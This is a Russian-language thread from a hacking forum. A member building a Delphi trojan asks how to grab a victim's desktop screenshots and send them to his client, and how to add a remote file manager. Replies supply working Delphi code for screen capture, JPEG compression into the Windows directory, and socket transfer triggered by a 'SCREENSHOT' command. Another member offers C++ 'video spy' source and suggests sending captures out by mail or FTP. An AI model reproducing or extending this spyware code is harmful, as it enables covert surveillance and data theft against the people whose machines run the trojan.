• XSS.stack #1 – первый литературный журнал от юзеров форума

Трой

Bendar

RAM
Пользователь
Регистрация
17.08.2006
Сообщения
115
Реакции
0
народ такая проблема пишу трой на делфи меня очень интересует как реализовать функцию копирование скриншота рабочего стола и паследуйщей передачи мне на клиент видел пару статей таких в инете но они какието мудрёные и чёто в них нехватает кароче неполные падскажите как реализовать скриншоты рабочего стола с ClientSocket \Server Socket
:help: :help: может кто знает падскажите или дайте сылку на статьи!!!
и ещё меня интерисует реализация файлового менеджера тобиш обзор дисков запись на их файлов скачивание запуск програм :help:
 
1) Если не знаешь таких элементарных вещей, то за трой садиться рановато
2) Трой ворующий скрины... мдя. если учесть, что размер JPEG ([хотя лучше BMP в сжатый Zlib) кило на 220 в среднем потянет, то это не экономично и долго.
3) для реализайии прередачи файла придется реализовывать свой протокол
4) если не хочешь писать свой протокол, то делай BMP в сжатый Zlib и отправляй его на мыло (разобраться с отрпавкой мыла с аттачем имхо проще)
5) з.ы. если не уложишся в килобайт 60 в сжатом виде, то бросай это дело и начинай нормально учить делфи.
 
Посылка файла

Код:
procedure TForm1.SendFile(FileName:string);
var InStream, OutStream: TFileStream;
    f:TextFile;
    s,OutFile,tmp:string;
    i:integer;
    tempFile:file of byte;
begin
 OutFile:=FileName;
 Delete(OutFile,Length(OutFile),1);
 OutFile:=OutFile+'_';
 InStream := TFileStream.Create(FileName, fmOpenRead);
 OutStream := TFileStream.Create(OutFile, fmCreate);
 try
  Mime.Method := uuMime;
  Mime.InputStream := InStream;
  Mime.OutputStream := OutStream;
  Mime.Encode;
 finally
  InStream.Free;
  OutStream.Free;
 end;
 AssignFile(TempFile, OutFile); Reset(TempFile);
 Echo('File start '+IntToStr(FileSize(TempFile))+' '+ExtractFileName(FileName));
 Sleep(50);
 CloseFile(TempFile);
 AssignFile(f,OutFile); Reset(f);
 while not eof(f) do
  begin
   Readln(f,s);
   //Server.Socket.Connections[0].SendText(s);
   for i:=1 to 2 do
    begin
     if eof(f) then Break;
     Readln(f,tmp);
     s:=s+tmp;
    end;
   Echo(s);
  end;
 CloseFile(f);
 Echo('File end');
 DeleteFile(OutFile);
end;

Жмем

Код:
procedure TForm1.CompressJPG;
var
   aJPEGImage : TJPEGImage;
   aPicture : TPicture;
begin
   aPicture   := TPicture.Create;
   aJPEGImage := TJPEGImage.Create;
   try
     aPicture.LoadFromFile(WinDir+'\temp.bmp');
     DeleteFile(WinDir+'\temp.bmp');
     aJPEGImage.CompressionQuality:=45;
     aJPEGImage.Assign(aPicture.Graphic);
     aJPEGImage.Compress;
     if FileExists(WinDir+'\ofs.jpg') then
      DeleteFile(WinDir+'\ofs.jpg');
     aJPEGImage.SaveToFile(WinDir+'\ofs.jpg');
    finally
     aPicture.Free;
     aJPEGImage.Free;
   end
end;

Делаем скрин

Код:
procedure TForm1.Screenshot;
var DCDesk : HDC; // hDC of Desktop
begin
 DCDesk:=GetWindowDC(GetDesktopWindow); // Get desktop DC handle
 BitBlt(Image1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
 DCDesk, 0, 0, SRCCOPY); // Copy to any canvas, here canvas of an image
 ReleaseDC(GetDesktopWindow, DCDesk);
end;

Вызов функции

Код:
if Buffer='SCREENSHOT' then
    begin
     Image1.Width:=GetSystemMetrics(SM_CXSCREEN);
     Image1.Height:=GetSystemMetrics(SM_CYSCREEN);
     Screenshot;
     Image1.Picture.SaveToFile(WinDir+'\temp.bmp');
     CompressJPG;
     SendFile(WinDir+'\ofs.jpg');
    end.
 
Я могу дать сорцы видеошпиона на С++ (на основе дельфишного из Хакера, я его переписал на Си и добавил некоторые фичи; для сжатия скрина в JPEG юзается стандартная виндовая либа GDI+, gdiplus.dll)
Снимает скриншот и сохраняет его на винте в формате jpeg (на выбор любой другой, поддерживаемый либой GDI+). Отправку по мылу / на фтп / через сокеты можете дописать сами.
 
А не проще будет взять пример из хакера... он ведь на делфи пишет... ))
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх